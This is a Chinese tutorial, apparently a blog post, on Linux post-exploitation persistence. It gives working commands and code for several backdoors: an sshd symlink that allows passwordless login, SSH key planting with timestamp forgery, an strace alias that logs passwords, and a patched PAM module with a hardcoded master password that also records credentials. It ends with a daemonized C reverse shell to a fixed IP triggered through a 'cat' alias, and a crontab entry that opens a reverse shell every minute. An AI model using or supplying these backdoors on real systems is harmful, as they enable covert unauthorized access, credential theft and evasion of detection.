Linux权限维持

靶机:ubuntu

一,ssh后门

1.软连接sshd

将ssh服务端打软标签到可执行目录/usr/sbin

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

这样远程登陆时可以不需要密码,同样,root可以正常登录 

正常连接

软连接

2.ssh key

首先生成公私钥

ssh-keygen -t rsa

然后将公钥写到authorized_keys

cd /root/.ssh
cat id_rsa.pub >> authorized_keys

写入公钥后,文件时间等会改变,这时需要把时间更改

touch -r 任意文件 authorized_keys

 把私钥导入本机,修改权限,进行公私钥登陆  

 3.ssh keylogger

strace是linux中跟踪进程的程序

在当前的环境变量(vim .bashrc )的末尾添加
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
(记录ssh读写操作,并放到/tmp/sshpwd中)
加载环境变量source ~/.bashrc

 ssh远程连接kali,然后退出,查看日志

 

二,linux pam后门

pam是ssh认证的组件,linux是开源的,所以在网上找到对应的pam,拖到靶机,在目录Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c中添加

if (strcmp("wz1314",p)==0) {return PAM_SUCCESS;}
//如果输入的密码为wz1314则通过

回到源目录进行编译

./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

 编译好的文件在目录/Linux-PAM-1.1.8/modules/pam_unix/.libs中

 搜索pam_unix.so,一个刚刚编译的,一个原本的,只需把原来的替换为刚编译的

cp /root/Desktop/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so 

再次使用设置的密码登陆,成功,原来的密码也能登陆成功,但是不同的登陆方式的日志不同,容易被发现,所以换个思路,还是在Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c进行修改

        /* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);
//      if (strcmp("wz1314",p)==0) {return PAM_SUCCESS;}
        FILE * fp;
        if (retval == PAM_SUCCESS) {
          fp = fopen("/etc/pam.txt","a");
          fprintf(fp,"%s->%s\n", name,p);
          fclose(fp);
        }
        name = p = NULL;

再改Linux-PAM-1.1.8/modules/pam_unix/suppurt.c,找到函数_unix_verify_password进行修改

int _unix_verify_password(pam_handle_t * pamh, const char *name
                          ,const char *p, unsigned int ctrl)
{
        struct passwd *pwd = NULL;
        char *salt = NULL;
        char *data_name;
        int retval;

if (strcmp("wz1314",p)==0) {return PAM_SUCCESS;}

        D(("called"));

继续编译,替换,这样不同的登陆方式的登录日志也一样 

三,alias后门

alias可以在系统中创建命令

首先在/root目录下创建一个反弹shell的shell.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>

#define ERR_EXIT(m) do{perror(m); exit(EXIT_FAILURE);}while (0);

void creat_daemon(void);
int main(void)
{
    time_t t;
    int fd;
    creat_daemon();
    system("/bin/rm /bin/sh;/bin/ln -s /bin/bash /bin/sh");
    system("/bin/bash -i >& /dev/tcp/192.168.8.129/9999 0>&1");
    return 0;
}

void creat_daemon(void)
{
    pid_t pid;
    int devnullfd,fd,fdtablesize;
    umask(0);

    pid = fork();
    if( pid == -1)
        ERR_EXIT("fork error");
    if(pid > 0 )
        exit(EXIT_SUCCESS);
    if(setsid() == -1)
        ERR_EXIT("SETSID ERROR");
    chdir("/");

    /* close any open file descriptors */
    for(fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)
        close(fd);

    devnullfd = open("/dev/null", 0);

    /* make STDIN ,STDOUT and STDERR point to /dev/null */
    if (devnullfd == -1) {
        ERR_EXIT("can't open /dev/null");
    }
    if (dup2(devnullfd, STDIN_FILENO) == -1) {
        ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");
    }
    if (dup2(devnullfd, STDOUT_FILENO) == -1) {
        ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
    }
    if (dup2(devnullfd, STDERR_FILENO) == -1) {
        ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
    }
    signal(SIGCHLD,SIG_IGN);
    return;
}

然后编译成.shell 

gcc shell.c -o .shell

再然后创建cat命令,在执行原本的cat命令的同时,还会执行/root目录下的.shell文件

alias cat='/root/.shell && cat'

随便cat文件,shell成功反弹 

 

四,crontab后门

每分钟反弹一次shell

(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.8.129/9999;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值